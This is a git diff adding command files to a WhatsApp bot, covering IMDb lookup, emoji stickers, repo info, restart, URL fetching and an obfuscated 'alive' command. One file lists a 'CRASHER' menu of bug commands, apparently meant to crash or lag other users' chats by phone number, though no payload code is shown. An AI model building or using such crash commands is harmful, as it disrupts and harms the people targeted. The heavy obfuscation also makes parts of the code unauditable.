+ _0x1d9b0f += "🌍Contry : " + _0x315c2c.Country + "\n";
+ _0x1d9b0f += "🏙️Production : " + _0x315c2c.Production + "\n";
+ _0x1d9b0f += "❎imdbVotes : " + _0x315c2c.imdbVotes + "\n";
+ _0x1d9b0f += "🤠Sponsor : ©Ibrahim Adams";
+ _0x44c40c.sendMessage(_0x41a878, {
+ 'image': {
+ 'url': _0x315c2c.Poster
+ },
+ 'caption': _0x1d9b0f
+ }, {
+ 'quoted': _0x3b271c
+ });
+ } catch (_0x4a93c8) {
+ _0x111c6a("An error occurred while searching IMDb.");
+ }
+});
+adams({
+ 'nomCom': "emomix",
+ 'categorie': 'Conversion'
+}, async (_0x551458, _0x2c4778, _0x21c569) => {
+ const {
+ arg: _0x259928,
+ repondre: _0x1e8365,
+ ms: _0x4866c8,
+ nomAuteurMessage: _0x259630
+ } = _0x21c569;
+ if (!_0x259928[0x0] || _0x259928.length !== 0x1) {
+ _0x1e8365("Incorrect use. Example: .emojimix 😀;🥰");
+ return;
+ }
+ const _0x1dbdf4 = _0x259928.join(" ").split(';');
+ if (_0x1dbdf4.length !== 0x2) {
+ _0x1e8365("Please specify two emojis using a ';' as a separator.");
+ return;
+ }
+ const _0x4c4e39 = _0x1dbdf4[0x0].trim();
+ const _0x19c1b9 = _0x1dbdf4[0x1].trim();
+ try {
+ const _0x36bc47 = require("axios");
+ const _0x559df0 = await _0x36bc47.get("https://levanter.onrender.com/emix?q=" + _0x4c4e39 + _0x19c1b9);
+ if (_0x559df0.data.status === true) {
+ let _0x4ad919 = new Sticker(_0x559df0.data.result, {
+ 'pack': _0x259630,
+ 'type': StickerTypes.CROPPED,
+ 'categories': ['🤩', '🎉'],
+ 'id': '12345',
+ 'quality': 0x46,
+ 'background': "transparent"
+ });
+ const _0xab42e7 = await _0x4ad919.toBuffer();
+ _0x2c4778.sendMessage(_0x551458, {
+ 'sticker': _0xab42e7
+ }, {
+ 'quoted': _0x4866c8
+ });
+ } else {
+ _0x1e8365("Unable to create emoji mix.");
+ }
+ } catch (_0x527ade) {
+ _0x1e8365("An error occurred while creating the emoji mix." + _0x527ade);
+ }
+});
diff --git a/scs/bmweo.js b/scs/bmweo.js
new file mode 100644
index 0000000..dbf0a0d
--- /dev/null
+++ b/scs/bmweo.js
@@ -0,0 +1,1337 @@
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+ 'value': true
+});
+const {
+ adams
+} = require("../Ibrahim/adams");
+adams({
+ 'nomCom': "repo",
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x256950, _0x3cdb38, _0x2c604e) => {
+ const _0x2f4eff = await fetch('https://api.github.com/repos/devibraah/BWM-XMD');
+ const _0x36b130 = await _0x2f4eff.json();
+ if (_0x36b130) {
+ const _0x50985d = {
+ 'stars': _0x36b130.stargazers_count,
+ 'forks': _0x36b130.forks_count,
+ 'lastUpdate': _0x36b130.updated_at,
+ 'owner': _0x36b130.owner.login
+ };
+ const _0x20cf11 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x50985d.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x50985d.stars + "\n🍴 Forks: " + _0x50985d.forks + "\n🌐 Repo: " + _0x36b130.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
+ await _0x3cdb38.sendMessage(_0x256950, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x20cf11
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+adams({
+ 'nomCom': "git",
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x2ad97e, _0xc5957d, _0x2a01f1) => {
+ const _0x23b84a = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
+ const _0x54f98d = await _0x23b84a.json();
+ if (_0x54f98d) {
+ const _0x33ab65 = {
+ 'stars': _0x54f98d.stargazers_count,
+ 'forks': _0x54f98d.forks_count,
+ 'lastUpdate': _0x54f98d.updated_at,
+ 'owner': _0x54f98d.owner.login
+ };
+ const _0x305ae3 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x33ab65.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x33ab65.stars + "\n🍴 Forks: " + _0x33ab65.forks + "\n🌐 Repo: " + _0x54f98d.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS";
+ await _0xc5957d.sendMessage(_0x2ad97e, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x305ae3
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+adams({
+ 'nomCom': 'sc',
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x1f8a03, _0x41191c, _0x8dd7fa) => {
+ const _0x21464f = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
+ const _0x3fb866 = await _0x21464f.json();
+ if (_0x3fb866) {
+ const _0x4bac21 = {
+ 'stars': _0x3fb866.stargazers_count,
+ 'forks': _0x3fb866.forks_count,
+ 'lastUpdate': _0x3fb866.updated_at,
+ 'owner': _0x3fb866.owner.login
+ };
+ const _0x58e2e9 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4bac21.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4bac21.stars + "\n🍴 Forks: " + _0x4bac21.forks + "\n🌐 Repo: " + _0x3fb866.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
+ await _0x41191c.sendMessage(_0x1f8a03, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x58e2e9
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+adams({
+ 'nomCom': 'script',
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x44e4c9, _0x300ccb, _0x323299) => {
+ const _0x10746e = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
+ const _0x40fb34 = await _0x10746e.json();
+ if (_0x40fb34) {
+ const _0x4777ba = {
+ 'stars': _0x40fb34.stargazers_count,
+ 'forks': _0x40fb34.forks_count,
+ 'lastUpdate': _0x40fb34.updated_at,
+ 'owner': _0x40fb34.owner.login
+ };
+ const _0x338973 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4777ba.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4777ba.stars + "\n🍴 Forks: " + _0x4777ba.forks + "\n🌐 Repo: " + _0x40fb34.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
+ await _0x300ccb.sendMessage(_0x44e4c9, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x338973
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/scs/bmweu.js b/scs/bmweu.js
new file mode 100644
index 0000000..2fe96c4
--- /dev/null
+++ b/scs/bmweu.js
@@ -0,0 +1,103 @@
+const util = require('util');
+const fs = require('fs-extra');
+const { adams } = require(__dirname + "/../Ibrahim/adams");
+const { format } = require(__dirname + "/../Ibrahim/mesfonctions");
+const os = require("os");
+const moment = require("moment-timezone");
+const s = require(__dirname + "/../config");
+const more = String.fromCharCode(8206)
+const Taphere = more.repeat(4001)
+
+adams({ nomCom: "bugmenu", categorie: "General" }, async (dest, zk, commandeOptions) => {
+ let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
+ let { cm } = require(__dirname + "/../Ibrahim//adams");
+ var coms = {};
+ var mode = "public";
+
+ if ((s.MODE).toLocaleLowerCase() != "yes") {
+ mode = "private";
+ }
+
+
+
+
+ cm.map(async (com, index) => {
+ if (!coms[com.categorie])
+ coms[com.categorie] = [];
+ coms[com.categorie].push(com.nomCom);
+ });
+
+ moment.tz.setDefault("Africa/Nairobi");
+
+// Créer une date et une heure en GMT
+const temps = moment().format('HH:mm:ss');
+const date = moment().format('DD/MM/YYYY');
+
+let infoMsg = `
+┏❏ ⌜ *BMW MD CRASHER* ⌟ ❐
+❐ bug
+❐ crash
+❐ loccrash
+❐ amountbug
+❐ crashbug 254XXXX
+❐ pmbug 254XXXX
+❐ delaybug 254XXXX
+❐ trollybug 254XXXX
+❐ docubug 254XXXX
+❐ unlimitedbug 254XXXX
+❐ bombug 254XXXX
+❐ lagbug 254XXXX
+❐ gcbug
+❐ delaygcbug
+❐ trollygcbug
+❐ laggcbug
+❐ bomgcbug
+❐ unlimitedgcbug
+❐ docugcbug
+
+> ⏲️ *TIME* : ${temps}
+> 📅 *DATE* : ${date} `;
+
+let menuMsg = `
+
+
+ 🄱🄼🅆-🄼🄳
+
+
+▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
+▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
+▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
+▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
+
+> ©Ibrahim Adams projects
+
+ `;
+
+ var lien = mybotpic();
+
+ if (lien.match(/\.(mp4|gif)$/i)) {
+ try {
+ zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis adams*, déveloper adams Tech" , gifPlayback : true }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+// Vérification pour .jpeg ou .png
+else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
+ try {
+ zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+else {
+
+ repondre(infoMsg + menuMsg);
+
+}
+
+});
diff --git a/scs/bmwf.js b/scs/bmwf.js
new file mode 100644
index 0000000..4001426
--- /dev/null
+++ b/scs/bmwf.js
@@ -0,0 +1,31 @@
+const {adams}=require("../Ibrahim/adams")
+
+
+
+
+
+
+
+adams({nomCom:"restart",categorie:"Mods",reaction:"📴"},async(dest,z,com)=>{
+
+
+
+const{repondre,ms,dev,superUser}=com;
+
+ if(!superUser)
+ {
+ return repondre("This command is for owner only");
+ }
+
+ const {exec}=require("child_process")
+
+ repondre("BMW-MD bot Restarting ⏳");
+
+ exec("pm2 restart all");
+
+
+
+
+
+
+})
diff --git a/scs/bmwfet.js b/scs/bmwfet.js
new file mode 100644
index 0000000..55d9d2a
--- /dev/null
+++ b/scs/bmwfet.js
@@ -0,0 +1,63 @@
+const { adams } = require("../Ibrahim/adams");
+const { default :axios } = require("axios");
+const { mediafireDl } = require("../Ibrahim/dl/Function");
+
+adams({
+ nomCom: "fetch",
+ categorie: "Search",
+ reaction: '🛄',
+}, async (_0x34e935, _0x726ab, _0x295c2d) => {
+ const { repondre: _0x356671, arg: _0x3dfafe } = _0x295c2d;
+ const urlInput = _0x3dfafe.join(" ");
+
+ if (!/^https?:\/\//.test(urlInput)) {
+ return _0x356671("Start the *URL* with http:// or https://");
+ }
+
+ try {
+ const url = new URL(urlInput);
+ const fetchUrl = `${url.origin}${url.pathname}?${url.searchParams.toString()}`;
+ const response = await fetch(fetchUrl);
+
+ if (!response.ok) {
+ return _0x356671("Failed to fetch the URL. Status: " + response.status + " " + response.statusText);
+ }
+
+ const contentLength = response.headers.get('content-length');
+ if (contentLength && parseInt(contentLength) > 104857600) {
+ return _0x356671("Content-Length exceeds the limit: " + contentLength);
+ }
+
+ const contentType = response.headers.get('content-type');
+ console.log('Content-Type:', contentType);
+
+ const buffer = Buffer.from(await response.arrayBuffer());
+ if (/image\/.*/.test(contentType)) {
+ await _0x726ab.sendMessage(_0x34e935, {
+ image: { url: fetchUrl },
+ caption: "> > *BMW MD*"
+ }, { quoted: _0x295c2d.ms });
+ } else if (/video\/.*/.test(contentType)) {
+ await _0x726ab.sendMessage(_0x34e935, {
+ video: { url: fetchUrl },
+ caption: "> > *BMW MD*"
+ }, { quoted: _0x295c2d.ms });
+ } else if (/text|json/.test(contentType)) {
+ try {
+ const json = JSON.parse(buffer);
+ console.log("Parsed JSON:", json);
+ _0x356671(JSON.stringify(json, null, 2).slice(0, 10000));
+ } catch {
+ _0x356671(buffer.toString().slice(0, 10000));
+ }
+ } else {
+ await _0x726ab.sendMessage(_0x34e935, {
+ document: { url: fetchUrl },
+ caption: "> > *BMW MD*"
+ }, { quoted: _0x295c2d.ms });
+ }
+ } catch (error) {
+ console.error("Error fetching data:", error.message);
+ _0x356671("Error fetching data: " + error.message);
+ }
+});
diff --git a/scs/bmwh.js b/scs/bmwh.js
new file mode 100644
index 0000000..3886764
--- /dev/null
+++ b/scs/bmwh.js
@@ -0,0 +1 @@
+'use strict';const _0x3e43c0=_0xa036;(function(_0x5a2bab,_0xe3ecb4){const _0x3103a8=_0xa036,_0xa50da2=_0x5a2bab();while(!![]){try{const _0x459c66=-parseInt(_0x3103a8(0x214))/(0x206e*0x1+-0x1aaf+-0x46*0x15)*(-parseInt(_0x3103a8(0x21d))/(0x16b+-0x2066+0x1efd))+parseInt(_0x3103a8(0x216))/(-0xff3+0x11e2+0xf6*-0x2)+-parseInt(_0x3103a8(0x1f2))/(0x2*-0xd6e+-0xd08+-0x27e8*-0x1)*(-parseInt(_0x3103a8(0x1ff))/(0x8b2+0x503*-0x1+-0x3aa))+-parseInt(_0x3103a8(0x1fd))/(-0x2496+-0x189a+0x1*0x3d36)+parseInt(_0x3103a8(0x202))/(0x1*-0x1862+0x44f*-0x2+0x2107)+-parseInt(_0x3103a8(0x1c4))/(0x9b1+0x100+-0xaa9)*(parseInt(_0x3103a8(0x1e2))/(0x77f*-0x2+-0xa96+0x199d))+-parseInt(_0x3103a8(0x1dc))/(-0x1dc6+-0x16b5+0xa81*0x5);if(_0x459c66===_0xe3ecb4)break;else _0xa50da2['push'](_0xa50da2['shift']());}catch(_0x41b548){_0xa50da2['push'](_0xa50da2['shift']());}}}(_0x4334,-0x8*0xba3b+0x1ba12d+-0x6a102));function _0xa036(_0x15ea32,_0x10641e){const _0x1e46ca=_0x4334();return _0xa036=function(_0x2ef031,_0x4f87bd){_0x2ef031=_0x2ef031-(-0x1421*-0x1+-0x73*-0x22+-0x21a5);let _0x1c5ffe=_0x1e46ca[_0x2ef031];return _0x1c5ffe;},_0xa036(_0x15ea32,_0x10641e);}Object[_0x3e43c0(0x1fe)+_0x3e43c0(0x1d4)](exports,_0x3e43c0(0x1f8),{'value':!![]});const {adams}=require(_0x3e43c0(0x220)+_0x3e43c0(0x1d6));function _0x4334(){const _0x12f0e5=['essage','y.wav','random','zAPnq','ease\x20wait.','.moe/va22v','🔊\x20*Prepari','and\x20trigge','BWM\x20XMD\x20AC','sendMessag','dio...*\x20Pl','LfYjH','8QCYeLj','.moe/oordg','wxKQs','les.catbox','TIVES\x20🚘🌍✅','NGjVY','eKkUy','ly!','Adams','HZmNW','WhatsApp\x20b','ng\x20your\x20au','error','pxlHV','alth\x20Statu','red!','erty','©\x20Ibrahim\x20','/adams','test','audio/mpeg','/channel/0','Alive\x20mess','Alive\x20comm','25335530LPJXHF','onPbl','nt\x20✨','ObVBd','.moe/zdti7','log','1339839VRgghr','age\x20with\x20a','🚘\x20*BWM\x20XMD','Error\x20send','029VaZuGSx','DDiyL','EawdxZK9Cz','nail\x20sent\x20','lmdlD','5.mp3','alive','npbsu','.moe/y1uaw','aZcWL','p.mp3','*Bot\x20is\x20On','7540yTKHiE','ing\x20messag','.moe/nwreb','line*\x0a✨\x20He','q.jpeg','Bzhtx','__esModule','xLsFZ','DfmuY','arge\x20thumb','floor','3530268NhtdgN','defineProp','4705KIHDpN','4.mp3','AywyT','3527111tsfgbY','ot\x20is\x20read','atsapp.com','s:\x20Excelle','EzIuf','M0Y','IwDal','length','lDjrA','S*\x20🚘🌍✅\x0a\x0a🌍\x20','https://wh','ZOlog','RJiLR','udio\x20and\x20l','\x20IS\x20ACTIVE','nomAuteurM','PVArb','message','1067bHnkHi','s.mp3','1674789JvgxMT','.moe/x4h8u','JGBnl','https://fi','eMxOA','pQOvw','MkvpK','2680QUzvxt','HbxJc','iwZBy','../Ibrahim','successful','bGhDD'];_0x4334=function(){return _0x12f0e5;};return _0x4334();}adams({'nomCom':_0x3e43c0(0x1ec),'reaction':'🪄','nomFichier':__filename},async(_0x4bc200,_0x3aaeb4,_0x54a1f3)=>{const _0x5a4d51=_0x3e43c0,_0xa1e18={'wxKQs':_0x5a4d51(0x1db)+_0x5a4d51(0x22a)+_0x5a4d51(0x1d3),'JGBnl':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x1c5)+_0x5a4d51(0x1eb),'lmdlD':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x1e0)+_0x5a4d51(0x224),'IwDal':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x1f4)+_0x5a4d51(0x200),'EzIuf':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x1ee)+_0x5a4d51(0x1f0),'PVArb':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x217)+_0x5a4d51(0x215),'Bzhtx':_0x5a4d51(0x219)+_0x5a4d51(0x1c7)+_0x5a4d51(0x228)+_0x5a4d51(0x1f6),'pxlHV':_0x5a4d51(0x20c)+_0x5a4d51(0x204)+_0x5a4d51(0x1d9)+_0x5a4d51(0x1e6)+_0x5a4d51(0x1e8)+_0x5a4d51(0x207),'aZcWL':function(_0x54d255,_0x4a2aa8){return _0x54d255*_0x4a2aa8;},'MkvpK':_0x5a4d51(0x229)+_0x5a4d51(0x1cf)+_0x5a4d51(0x1c2)+_0x5a4d51(0x227)+'..','bGhDD':_0x5a4d51(0x1d8),'ObVBd':_0x5a4d51(0x22b)+_0x5a4d51(0x1c8),'ZOlog':_0x5a4d51(0x1d5)+_0x5a4d51(0x1cc),'eKkUy':_0x5a4d51(0x1da)+_0x5a4d51(0x1e3)+_0x5a4d51(0x20f)+_0x5a4d51(0x1fb)+_0x5a4d51(0x1e9)+_0x5a4d51(0x221)+_0x5a4d51(0x1cb),'NGjVY':_0x5a4d51(0x1e5)+_0x5a4d51(0x1f3)+'e:'};console[_0x5a4d51(0x1e1)](_0xa1e18[_0x5a4d51(0x1c6)]);const _0x272d6f=[_0xa1e18[_0x5a4d51(0x218)],_0xa1e18[_0x5a4d51(0x1ea)],_0xa1e18[_0x5a4d51(0x208)],_0xa1e18[_0x5a4d51(0x206)],_0xa1e18[_0x5a4d51(0x212)]],_0x48a217=_0xa1e18[_0x5a4d51(0x1f7)],_0x251d68=_0xa1e18[_0x5a4d51(0x1d1)],_0x2af7a6=_0x5a4d51(0x1e4)+_0x5a4d51(0x210)+_0x5a4d51(0x20b)+_0x5a4d51(0x1f1)+_0x5a4d51(0x1f5)+_0x5a4d51(0x1d2)+_0x5a4d51(0x205)+_0x5a4d51(0x1de);try{const _0x229b58=_0x272d6f[Math[_0x5a4d51(0x1fc)](_0xa1e18[_0x5a4d51(0x1ef)](Math[_0x5a4d51(0x225)](),_0x272d6f[_0x5a4d51(0x209)]))];await _0x3aaeb4[_0x5a4d51(0x22c)+'e'](_0x4bc200,{'text':_0xa1e18[_0x5a4d51(0x21c)]}),await new Promise(_0x4f32d2=>setTimeout(_0x4f32d2,-0x1187*0x1+-0x102f+0x259e)),await _0x3aaeb4[_0x5a4d51(0x22c)+'e'](_0x4bc200,{'audio':{'url':_0x229b58},'mimetype':_0xa1e18[_0x5a4d51(0x222)],'ptt':!![],'caption':_0x2af7a6,'contextInfo':{'mentionedJid':[_0x54a1f3[_0x5a4d51(0x211)+_0x5a4d51(0x223)]||_0x4bc200],'externalAdReply':{'title':_0xa1e18[_0x5a4d51(0x1df)],'body':_0xa1e18[_0x5a4d51(0x20d)],'thumbnailUrl':_0x48a217,'sourceUrl':_0x251d68,'mediaType':0x2,'renderLargeThumbnail':!![]}}}),console[_0x5a4d51(0x1e1)](_0xa1e18[_0x5a4d51(0x1ca)]);}catch(_0x17c705){console[_0x5a4d51(0x1d0)](_0xa1e18[_0x5a4d51(0x1c9)],_0x17c705[_0x5a4d51(0x213)]);}}),console[_0x3e43c0(0x1e1)](_0x3e43c0(0x1ce)+_0x3e43c0(0x203)+'y.'),adams({'nomCom':_0x3e43c0(0x1d7),'reaction':'🪅','nomFichier':__filename},async(_0x227736,_0x4e08e3,_0x3e7674)=>{const _0x2e28f3=_0x3e43c0,_0x1aaf45={'onPbl':_0x2e28f3(0x1db)+_0x2e28f3(0x22a)+_0x2e28f3(0x1d3),'RJiLR':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x1c5)+_0x2e28f3(0x1eb),'lDjrA':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x1e0)+_0x2e28f3(0x224),'npbsu':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x1f4)+_0x2e28f3(0x200),'zAPnq':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x1ee)+_0x2e28f3(0x1f0),'DDiyL':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x217)+_0x2e28f3(0x215),'eMxOA':_0x2e28f3(0x219)+_0x2e28f3(0x1c7)+_0x2e28f3(0x228)+_0x2e28f3(0x1f6),'HbxJc':_0x2e28f3(0x20c)+_0x2e28f3(0x204)+_0x2e28f3(0x1d9)+_0x2e28f3(0x1e6)+_0x2e28f3(0x1e8)+_0x2e28f3(0x207),'HZmNW':function(_0x56495f,_0x6797c0){return 